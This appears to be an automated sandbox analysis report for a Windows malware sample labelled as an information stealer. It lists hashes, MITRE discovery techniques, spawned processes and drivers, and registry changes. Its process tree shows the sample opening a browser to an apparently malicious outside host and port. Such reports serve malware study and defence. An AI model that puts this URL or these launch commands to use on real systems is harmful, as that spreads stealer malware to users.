6aacfdbff0be9b9e81d98162e46721557498f9276ac6f517597ee56eb113ffd0

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 16:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260717-tvkfjaa16w
SHA256 6aacfdbff0be9b9e81d98162e46721557498f9276ac6f517597ee56eb113ffd0
MD5 f34108964efd1a141de1c36a543e6a31
SHA1 52e0f9b206d32f932398c91045b684f05ce97a32
SHA512 e72f0cd2981fbfcf8f50c0837e9e24e12bd15faabed1c6b33130961a4026dd40fcf77fd350660179f64a8507dd0f96c49eb3c5dfc9e96f53ef3e6504b6bfef45
SSDEEP 3072:58GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7L:5DXY4LK+a3lLNngoqRttA7L
TLSH
T17434490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
3004	CP.exe
5396	rojebztojg.exe
2604	CP.exe
6084	CP.exe
4092	i_rojebztojg.exe
4324	rojdbwtolj.sys
5768	CP.exe
5228	jgbytroige.exe
5184	CP.exe
4112	CP.exe
5856	i_jgbytroige.exe
1252	vtqljdywqo.sys
5736	CP.exe
4620	qoigaytqli.exe
2888	CP.exe
3828	CP.exe
4264	i_qoigaytqli.exe
2832	lidavsnkid.sys
3056	CP.exe
5764	ifdavtnkig.exe
4544	CP.exe
5108	CP.exe
2052	i_ifdavtnkig.exe
2396	sqnifaysqk.sys
1356	CP.exe
6012	fdxvsnhfax.exe
5516	CP.exe
5072	CP.exe
4884	i_fdxvsnhfax.exe
1148	pnhfdxvpnk.sys
4092	CP.exe
3756	pnkicaxspn.exe
1116	CP.exe
5136	CP.exe
1112	i_pnkicaxspn.exe
5832	cxuspkhczx.sys
2308	CP.exe
3672	fzxupmkhcz.exe
3540	CP.exe
4972	CP.exe
4784	i_fzxupmkhcz.exe
3352	mjeurmkecw.sys
6056	CP.exe
4460	ecwuomhecw.exe
992	CP.exe
2536	CP.exe
4304	i_ecwuomhecw.exe
3160	pmgezxrpjh.sys
2068	CP.exe
4592	omgezwjhbz.exe
5776	CP.exe
2404	CP.exe
404	i_omgezwjhbz.exe
4860	ljdbwtrljh.sys
5276	CP.exe
4384	geywrojhbz.exe
4844	CP.exe
4904	CP.exe
4920	i_geywrojhbz.exe
4320	dywqoigayt.sys
2576	CP.exe
5212	bvtnljdbvt.exe
2128	CP.exe
5748	CP.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_181837159\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_560249801\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_110021512\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_110021512\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_110021512\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_560249801\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_110021512\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_1125990082\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4340_181837159\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaytqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaytqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvsnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvsnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomhecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwuomhecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ayvqnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbytroige.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ayvqnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causqnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxspkhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojebztojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnkicaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxupmkhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxupmkhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avqnigdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnkicaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdavtnkig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avqnigdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgebvtqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnlgdywto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnlgdywto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgebvtqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbytroige.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causqnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxspkhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojebztojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdavtnkig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhfzxrpjhc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4108	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1444	ipconfig.exe
996	ipconfig.exe
5660	ipconfig.exe
2412	ipconfig.exe
4216	ipconfig.exe
4636	ipconfig.exe
4272	ipconfig.exe
5420	ipconfig.exe
3984	ipconfig.exe
5252	ipconfig.exe
4980	ipconfig.exe
4752	ipconfig.exe
440	ipconfig.exe
1176	ipconfig.exe
5832	ipconfig.exe
5324	ipconfig.exe
2040	ipconfig.exe
2244	ipconfig.exe
2536	ipconfig.exe
4648	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287789691579140"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{F0A875B9-763E-4296-9053-360509F9551E}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1644	msedge.exe
1644	msedge.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4340	msedge.exe
4340	msedge.exe
4340	msedge.exe
4340	msedge.exe
4340	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4092	i_rojebztojg.exe
Token: SeDebugPrivilege	5856	i_jgbytroige.exe
Token: SeDebugPrivilege	4264	i_qoigaytqli.exe
Token: SeDebugPrivilege	2052	i_ifdavtnkig.exe
Token: SeDebugPrivilege	4884	i_fdxvsnhfax.exe
Token: SeDebugPrivilege	1112	i_pnkicaxspn.exe
Token: SeDebugPrivilege	4784	i_fzxupmkhcz.exe
Token: SeDebugPrivilege	4304	i_ecwuomhecw.exe
Token: SeDebugPrivilege	404	i_omgezwjhbz.exe
Token: SeDebugPrivilege	4920	i_geywrojhbz.exe
Token: SeDebugPrivilege	5412	i_bvtnljdbvt.exe
Token: SeDebugPrivilege	1444	i_avqnigdyvq.exe
Token: SeDebugPrivilege	1084	i_ayvqnifays.exe
Token: SeDebugPrivilege	2396	i_causqnifay.exe
Token: SeDebugPrivilege	4516	i_nhfzxspkhf.exe
Token: SeDebugPrivilege	5692	i_jhfzxrpjhc.exe
Token: SeDebugPrivilege	1244	i_rmjecwuomg.exe
Token: SeDebugPrivilege	1052	i_uomgeywroj.exe
Token: SeDebugPrivilege	1640	i_tolgebvtqo.exe
Token: SeDebugPrivilege	1084	i_vqnlgdywto.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4340	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 3316	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 3316 wrote to memory of 4340	3316	iexplore.exe	91
PID 4340 wrote to memory of 5284	4340	msedge.exe	92
PID 4340 wrote to memory of 4108	4340	msedge.exe	93
PID 4340 wrote to memory of 1588	4340	msedge.exe	94
PID 4340 wrote to memory of 1588	4340	msedge.exe	94
PID 4340 wrote to memory of 1384	4340	msedge.exe	95
PID 4340 wrote to memory of 1384	4340	msedge.exe	95
PID 4340 wrote to memory of 1384	4340	msedge.exe	95
PID 4340 wrote to memory of 3476	4340	msedge.exe	96
PID 4340 wrote to memory of 3476	4340	msedge.exe	96
PID 4340 wrote to memory of 1300	4340	msedge.exe	97
PID 4340 wrote to memory of 3476	4340	msedge.exe	96
PID 4340 wrote to memory of 1300	4340	msedge.exe	97
PID 4340 wrote to memory of 1300	4340	msedge.exe	97
PID 4340 wrote to memory of 2724	4340	msedge.exe	99
PID 4340 wrote to memory of 3776	4340	msedge.exe	100
PID 4340 wrote to memory of 2724	4340	msedge.exe	99
PID 4340 wrote to memory of 2724	4340	msedge.exe	99
PID 4340 wrote to memory of 3776	4340	msedge.exe	100
PID 4340 wrote to memory of 3776	4340	msedge.exe	100
PID 4340 wrote to memory of 1528	4340	msedge.exe	101
PID 4340 wrote to memory of 1528	4340	msedge.exe	101
PID 4192 wrote to memory of 3004	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 4340 wrote to memory of 4500	4340	msedge.exe	105
PID 4340 wrote to memory of 5964	4340	msedge.exe	106
PID 4340 wrote to memory of 4500	4340	msedge.exe	105
PID 4340 wrote to memory of 5964	4340	msedge.exe	106
PID 4340 wrote to memory of 2696	4340	msedge.exe	108
PID 5396 wrote to memory of 2604	5396	rojebztojg.exe	110
PID 4340 wrote to memory of 1532	4340	msedge.exe	113
PID 4340 wrote to memory of 1532	4340	msedge.exe	113
PID 4340 wrote to memory of 2600	4340	msedge.exe	114
PID 4340 wrote to memory of 2600	4340	msedge.exe	114
PID 4192 wrote to memory of 6084	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 4192 wrote to memory of 5768	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 5228 wrote to memory of 5184	5228	jgbytroige.exe	123
PID 4192 wrote to memory of 4112	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 4192 wrote to memory of 5736	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 4620 wrote to memory of 2888	4620	qoigaytqli.exe	132
PID 4192 wrote to memory of 3828	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	135
PID 4192 wrote to memory of 3056	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	139
PID 5764 wrote to memory of 4544	5764	ifdavtnkig.exe	141
PID 4192 wrote to memory of 5108	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	144
PID 4340 wrote to memory of 2244	4340	msedge.exe	147
PID 4340 wrote to memory of 5968	4340	msedge.exe	148
PID 4340 wrote to memory of 4784	4340	msedge.exe	149
PID 4192 wrote to memory of 1356	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 6012 wrote to memory of 5516	6012	fdxvsnhfax.exe	154
PID 4192 wrote to memory of 5072	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	157
PID 4192 wrote to memory of 4092	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 3756 wrote to memory of 1116	3756	pnkicaxspn.exe	163
PID 4192 wrote to memory of 5136	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 4192 wrote to memory of 2308	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 3672 wrote to memory of 3540	3672	fzxupmkhcz.exe	172
PID 4192 wrote to memory of 4972	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 4192 wrote to memory of 6056	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 4460 wrote to memory of 992	4460	ecwuomhecw.exe	181
PID 4192 wrote to memory of 2536	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	184
PID 4340 wrote to memory of 4956	4340	msedge.exe	186
PID 4340 wrote to memory of 4956	4340	msedge.exe	186
PID 4192 wrote to memory of 2068	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 4592 wrote to memory of 5776	4592	omgezwjhbz.exe	194
PID 4192 wrote to memory of 2404	4192	2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe	197

C:\Users\Admin\AppData\Local\Temp\2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_f34108964efd1a141de1c36a543e6a31_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffb0b46c188,0x7ffb0b46c194,0x7ffb0b46c1a0
      4⤵
      PID:5284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1904,i,462764368522847456,11621489252969970668,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=2724 /prefetch:11
      4⤵
      System Time Discovery
      PID:4108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,14517678389894972915,8956887050026382208,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:13
      4⤵
      PID:1588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1692,i,4003480321071908181,15433007080334266344,262144 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:2
      4⤵
      PID:1384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,16092087105269173957,11849082075890224366,2097152 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:3476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,15247060242277682438,7872407523776196088,2097152 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
      4⤵
      PID:1300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,18141244887965992872,9944325091004968316,2097152 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:9
      4⤵
      PID:2724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4272,i,471823963081058475,14834143586810069764,2097152 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:1
      4⤵
      PID:3776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3740,i,1450436197462600901,12437077017547466083,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:14
      4⤵
      PID:1528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5200,i,8371630245099884501,15106832582250770710,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
      4⤵
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3708,i,647790799680438718,7988912270020196863,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:14
      4⤵
      PID:5964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,10063047277622887543,17276645282430803175,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
      4⤵
      PID:1112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,10063047277622887543,17276645282430803175,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
      4⤵
      PID:2696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,13500142557904771734,13776389643058541366,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
      4⤵
      PID:1532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,15432282648429610044,6415972481452598398,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,4061973192412011560,13983927773493862235,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:14
      4⤵
      PID:2244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6080,i,16504768606369759484,14813731127910633594,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
